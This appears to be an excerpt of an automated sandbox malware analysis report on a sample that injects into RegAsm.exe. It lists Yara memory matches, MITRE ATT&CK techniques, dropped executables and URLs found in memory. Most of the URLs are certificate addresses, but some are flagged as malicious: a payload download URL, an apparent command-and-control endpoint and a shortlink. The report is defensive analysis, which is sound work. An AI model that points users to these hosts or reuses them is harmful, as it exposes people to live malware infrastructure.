Source: Yara match	File source: 0000000B.00000002.2181829102.000000000414F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2181861219.0000000004169000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2181751190.0000000004101000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2194844744.0000000003CF1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2194860595.0000000003D0B000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2213485795.0000000003D59000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2193389507.0000000002792000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2208511718.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 2192, type: MEMORY
Source: Yara match	File source: 17.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts1	Scripting31	Valid Accounts1	Valid Accounts1	Disable or Modify Tools11	OS Credential Dumping2	Account Discovery1	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution13	Registry Run Keys / Startup Folder1	Access Token Manipulation11	Deobfuscate/Decode Files or Information111	Credentials in Registry2	File and Directory Discovery3	Remote Desktop Protocol	Man in the Browser1	Exfiltration Over Bluetooth	Encrypted Channel12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Command and Scripting Interpreter11	Logon Script (Windows)	Process Injection311	Scripting31	Security Account Manager	System Information Discovery13	SMB/Windows Admin Shares	Data from Local System2	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	PowerShell2	Logon Script (Mac)	Registry Run Keys / Startup Folder1	Obfuscated Files or Information3	NTDS	Query Registry1	Distributed Component Object Model	Email Collection1	Scheduled Transfer	Application Layer Protocol14	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Masquerading111	LSA Secrets	Security Software Discovery11	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Valid Accounts1	Cached Domain Credentials	Virtualization/Sandbox Evasion2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Modify Registry1	DCSync	Process Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Virtualization/Sandbox Evasion2	Proc Filesystem	System Owner/User Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Access Token Manipulation11	/etc/passwd and /etc/shadow	Remote System Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Process Injection311	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Hidden Files and Directories1	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\Documents\12.exe	100%	Joe Sandbox ML
C:\Users\user\ntrwe.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\RegAsm.exe	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\RegAsm.exe	0%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
17.2.RegAsm.exe.400000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File
19.2.RegAsm.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://fedir.comsign.co.il/crl/ComSignSecuredCA.crl0	0%	URL Reputation	safe
http://fedir.comsign.co.il/crl/ComSignSecuredCA.crl0	0%	URL Reputation	safe
http://fedir.comsign.co.il/crl/ComSignSecuredCA.crl0	0%	URL Reputation	safe
http://www.a-cert.at0E	0%	URL Reputation	safe
http://www.a-cert.at0E	0%	URL Reputation	safe
http://www.a-cert.at0E	0%	URL Reputation	safe
http://www.certplus.com/CRL/class3.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class3.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class3.crl0	0%	URL Reputation	safe
http://www.e-me.lv/repository0	0%	URL Reputation	safe
http://www.e-me.lv/repository0	0%	URL Reputation	safe
http://www.e-me.lv/repository0	0%	URL Reputation	safe
http://www.acabogacia.org/doc0	0%	URL Reputation	safe
http://www.acabogacia.org/doc0	0%	URL Reputation	safe
http://www.acabogacia.org/doc0	0%	URL Reputation	safe
http://crl.chambersign.org/chambersroot.crl0	0%	URL Reputation	safe
http://crl.chambersign.org/chambersroot.crl0	0%	URL Reputation	safe
http://crl.chambersign.org/chambersroot.crl0	0%	URL Reputation	safe
http://www.digsigtrust.com/DST_TRUST_CPS_v990701.html0	0%	URL Reputation	safe
http://www.digsigtrust.com/DST_TRUST_CPS_v990701.html0	0%	URL Reputation	safe
http://www.digsigtrust.com/DST_TRUST_CPS_v990701.html0	0%	URL Reputation	safe
http://acraiz.icpbrasil.gov.br/LCRacraiz.crl0	0%	URL Reputation	safe
http://acraiz.icpbrasil.gov.br/LCRacraiz.crl0	0%	URL Reputation	safe
http://acraiz.icpbrasil.gov.br/LCRacraiz.crl0	0%	URL Reputation	safe
http://www.certifikat.dk/repository0	0%	Avira URL Cloud	safe
http://www.chambersign.org1	0%	URL Reputation	safe
http://www.chambersign.org1	0%	URL Reputation	safe
http://www.chambersign.org1	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.pkioverheid.nl/policies/root-policy0	0%	URL Reputation	safe
http://www.pkioverheid.nl/policies/root-policy0	0%	URL Reputation	safe
http://www.pkioverheid.nl/policies/root-policy0	0%	URL Reputation	safe
http://crl.ssc.lt/root-c/cacrl.crl0	0%	URL Reputation	safe
http://crl.ssc.lt/root-c/cacrl.crl0	0%	URL Reputation	safe
http://crl.ssc.lt/root-c/cacrl.crl0	0%	URL Reputation	safe
https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0	0%	URL Reputation	safe
https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0	0%	URL Reputation	safe
https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0	0%	URL Reputation	safe
http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl	0%	URL Reputation	safe
http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl	0%	URL Reputation	safe
http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl	0%	URL Reputation	safe
http://ca.disig.sk/ca/crl/ca_disig.crl0	0%	URL Reputation	safe
http://ca.disig.sk/ca/crl/ca_disig.crl0	0%	URL Reputation	safe
http://ca.disig.sk/ca/crl/ca_disig.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class3P.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class3P.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class3P.crl0	0%	URL Reputation	safe
http://repository.infonotary.com/cps/qcps.html0$	0%	URL Reputation	safe
http://repository.infonotary.com/cps/qcps.html0$	0%	URL Reputation	safe
http://repository.infonotary.com/cps/qcps.html0$	0%	URL Reputation	safe
http://www.post.trust.ie/reposit/cps.html0	0%	URL Reputation	safe
http://www.post.trust.ie/reposit/cps.html0	0%	URL Reputation	safe
http://www.post.trust.ie/reposit/cps.html0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class2.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class2.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class2.crl0	0%	URL Reputation	safe
http://www.disig.sk/ca/crl/ca_disig.crl0	0%	URL Reputation	safe
http://www.disig.sk/ca/crl/ca_disig.crl0	0%	URL Reputation	safe
http://www.disig.sk/ca/crl/ca_disig.crl0	0%	URL Reputation	safe
http://ocsp.infonotary.com/responder.cgi0V	0%	URL Reputation	safe
http://ocsp.infonotary.com/responder.cgi0V	0%	URL Reputation	safe
http://ocsp.infonotary.com/responder.cgi0V	0%	URL Reputation	safe
http://www.sk.ee/cps/0	0%	URL Reputation	safe
http://www.sk.ee/cps/0	0%	URL Reputation	safe
http://www.sk.ee/cps/0	0%	URL Reputation	safe
http://www.globaltrust.info0=	0%	Avira URL Cloud	safe
https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0E	0%	URL Reputation	safe
https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0E	0%	URL Reputation	safe
https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0E	0%	URL Reputation	safe
http://servername/isapibackend.dll	0%	Avira URL Cloud	safe
http://www.ssc.lt/cps03	0%	URL Reputation	safe
http://www.ssc.lt/cps03	0%	URL Reputation	safe
http://www.ssc.lt/cps03	0%	URL Reputation	safe
http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0=	0%	URL Reputation	safe
http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0=	0%	URL Reputation	safe
http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0=	0%	URL Reputation	safe
http://ocsp.pki.gva.es0	0%	URL Reputation	safe
http://ocsp.pki.gva.es0	0%	URL Reputation	safe
http://ocsp.pki.gva.es0	0%	URL Reputation	safe
http://crl.oces.certifikat.dk/oces.crl0	0%	Avira URL Cloud	safe
http://crl.ssc.lt/root-b/cacrl.crl0	0%	URL Reputation	safe
http://crl.ssc.lt/root-b/cacrl.crl0	0%	URL Reputation	safe
http://crl.ssc.lt/root-b/cacrl.crl0	0%	URL Reputation	safe
http://www.dnie.es/dpc0	0%	URL Reputation	safe
http://www.dnie.es/dpc0	0%	URL Reputation	safe
http://www.dnie.es/dpc0	0%	URL Reputation	safe
http://www.rootca.or.kr/rca/cps.html0	0%	URL Reputation	safe
http://www.rootca.or.kr/rca/cps.html0	0%	URL Reputation	safe
http://www.rootca.or.kr/rca/cps.html0	0%	URL Reputation	safe
http://bighoreca.nl/wp-content/themes/index/QPR-3067.exe	0%	Avira URL Cloud	safe
http://www.trustcenter.de/guidelines0	0%	URL Reputation	safe
http://www.trustcenter.de/guidelines0	0%	URL Reputation	safe
http://www.trustcenter.de/guidelines0	0%	URL Reputation	safe
http://pki-root.ecertpki.cl/CertEnroll/E-CERT%20ROOT%20CA.crl0	0%	Avira URL Cloud	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cutt.ly	104.22.0.232	true	true		unknown
bighoreca.nl	83.172.144.37	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://bighoreca.nl/wp-content/themes/index/QPR-3067.exe	true	Avira URL Cloud: safe	unknown
http://185.206.215.56/morx/1/cgi.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://fedir.comsign.co.il/crl/ComSignSecuredCA.crl0	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.a-cert.at0E	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.certplus.com/CRL/class3.crl0	powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.e-me.lv/repository0	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.acabogacia.org/doc0	powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.chambersign.org/chambersroot.crl0	powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://cacerts.rapidssl.com/RapidSSLTLSRSACAG1.crt0	powershell.exe, 00000006.00000002.2102568454.0000000003688000.00000004.00000001.sdmp	false		high
http://www.digsigtrust.com/DST_TRUST_CPS_v990701.html0	powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://acraiz.icpbrasil.gov.br/LCRacraiz.crl0	powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.certifikat.dk/repository0	powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.chambersign.org1	powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	powershell.exe, 00000006.00000002.2103702990.000000001B893000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	powershell.exe, 00000006.00000002.2103702990.000000001B893000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.pkioverheid.nl/policies/root-policy0	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://repository.swisssign.com/0	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false		high
http://crl.ssc.lt/root-c/cacrl.crl0	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://ca.disig.sk/ca/crl/ca_disig.crl0	powershell.exe, 00000006.00000002.2103652511.000000001B830000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.certplus.com/CRL/class3P.crl0	powershell.exe, 00000006.00000003.2094933870.000000001D1B9000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://repository.infonotary.com/cps/qcps.html0$	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.post.trust.ie/reposit/cps.html0	powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp, powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.certplus.com/CRL/class2.crl0	powershell.exe, 00000006.00000003.2094933870.000000001D1B9000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.disig.sk/ca/crl/ca_disig.crl0	powershell.exe, 00000006.00000002.2103652511.000000001B830000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://ocsp.infonotary.com/responder.cgi0V	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sk.ee/cps/0	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.globaltrust.info0=	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0E	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://servername/isapibackend.dll	powershell.exe, 00000006.00000002.2107223409.000000001D360000.00000002.00000001.sdmp	false	Avira URL Cloud: safe	low
http://www.ssc.lt/cps03	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.windows.com/pctv.	12.exe, 0000000B.00000002.2187386267.0000000008780000.00000002.00000001.sdmp	false		high
http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0=	powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://ocsp.pki.gva.es0	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.oces.certifikat.dk/oces.crl0	powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ssc.lt/root-b/cacrl.crl0	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.certicamara.com/dpc/0Z	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false		high
http://crl.pki.wellsfargo.com/wsprca.crl0	powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp	false		high
http://www.dnie.es/dpc0	powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.rootca.or.kr/rca/cps.html0	powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.trustcenter.de/guidelines0	powershell.exe, 00000006.00000003.2094858856.000000001D2AE000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://pki-root.ecertpki.cl/CertEnroll/E-CERT%20ROOT%20CA.crl0	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	powershell.exe, 00000006.00000002.2104088848.000000001CF67000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.globaltrust.info0	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://certificates.starfieldtech.com/repository/1604	powershell.exe, 00000006.00000002.2105871443.000000001D196000.00000004.00000001.sdmp	false		high
http://www.certplus.com/CRL/class3TS.crl0	powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.entrust.net/CRL/Client1.crl0	powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	false		high
http://www.entrust.net/CRL/net1.crl0	powershell.exe, 00000006.00000003.2094933870.000000001D1B9000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	powershell.exe, 00000006.00000002.2098764453.0000000002330000.00000002.00000001.sdmp, powershell.exe, 00000008.00000002.2135210182.0000000002380000.00000002.00000001.sdmp, powershell.exe, 00000009.00000002.2149819469.0000000002360000.00000002.00000001.sdmp	false		high
https://www.catcert.net/verarrel	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.disig.sk/ca0f	powershell.exe, 00000006.00000002.2103652511.000000001B830000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv	powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp, powershell.exe, 00000008.00000002.2134654234.000000000024E000.00000004.00000020.sdmp	false		high
http://www.e-szigno.hu/RootCA.crl	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false		high
http://www.signatur.rtr.at/current.crl0	powershell.exe, 00000006.00000003.2094900131.000000001D1E4000.00000004.00000001.sdmp	false		high
http://www.sk.ee/juur/crl/0	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.chambersign.org/chambersignroot.crl0	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.xrampsecurity.com/XGCA.crl0	powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.quovadis.bm0	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.ssc.lt/root-a/cacrl.crl0	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.trustdst.com/certificates/policy/ACES-index.html0	powershell.exe, 00000006.00000002.2103652511.000000001B830000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.firmaprofesional.com0	powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://cutt.ly/	powershell.exe, 00000006.00000002.2101898032.0000000003566000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
https://www.netlock.net/docs	powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.trustcenter.de/crl/v2/tc_class_2_ca_II.crl	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.entrust.net/2048ca.crl0	powershell.exe, 00000006.00000002.2103729703.000000001B8CC000.00000004.00000001.sdmp	false		high
http://www.pki.admin.ch/policy/CPS_2_16_756_1_17_3_21_1.pdf0	powershell.exe, 00000006.00000002.2105871443.000000001D196000.00000004.00000001.sdmp	false		high
http://cps.chambersign.org/cps/publicnotaryroot.html0	powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.e-trust.be/CPS/QNcerts	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.certicamara.com/certicamaraca.crl0	powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	powershell.exe, 00000006.00000002.2103852429.000000001CD80000.00000002.00000001.sdmp, 12.exe, 0000000B.00000002.2187386267.0000000008780000.00000002.00000001.sdmp	false		high
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://fedir.comsign.co.il/crl/ComSignCA.crl0	powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAI.crl0	powershell.exe, 00000006.00000002.2103652511.000000001B830000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://ocsp.entrust.net03	powershell.exe, 00000006.00000002.2103702990.000000001B893000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.ibsensoftware.com/	RegAsm.exe	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://cps.chambersign.org/cps/chambersroot.html0	powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.acabogacia.org0	powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://cutt.ly	powershell.exe, 00000006.00000002.2101898032.0000000003566000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
https://ca.sia.it/seccli/repository/CPS0	powershell.exe, 00000006.00000002.2103765249.000000001B907000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.securetrust.com/SGCA.crl0	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://fedir.comsign.co.il/cacert/ComSignAdvancedSecurityCA.crt0	powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.securetrust.com/STCA.crl0	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAIII.crl0	powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://cutt.ly/qjdJoz4PE	powershell.exe, 00000006.00000002.2101898032.0000000003566000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.icra.org/vocabulary/.	powershell.exe, 00000006.00000002.2104088848.000000001CF67000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.certicamara.com/certicamaraca.crl0;	powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	false		high
http://www.e-szigno.hu/RootCA.crt0	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false		high
http://www.quovadisglobal.com/cps0	powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	false		high
http://cdp.rapidssl.com/RapidSSLTLSRSACAG1.crl0L	powershell.exe, 00000006.00000002.2102568454.0000000003688000.00000004.00000001.sdmp	false		high
http://investor.msn.com/	powershell.exe, 00000006.00000002.2103852429.000000001CD80000.00000002.00000001.sdmp, 12.exe, 0000000B.00000002.2187386267.0000000008780000.00000002.00000001.sdmp	false		high
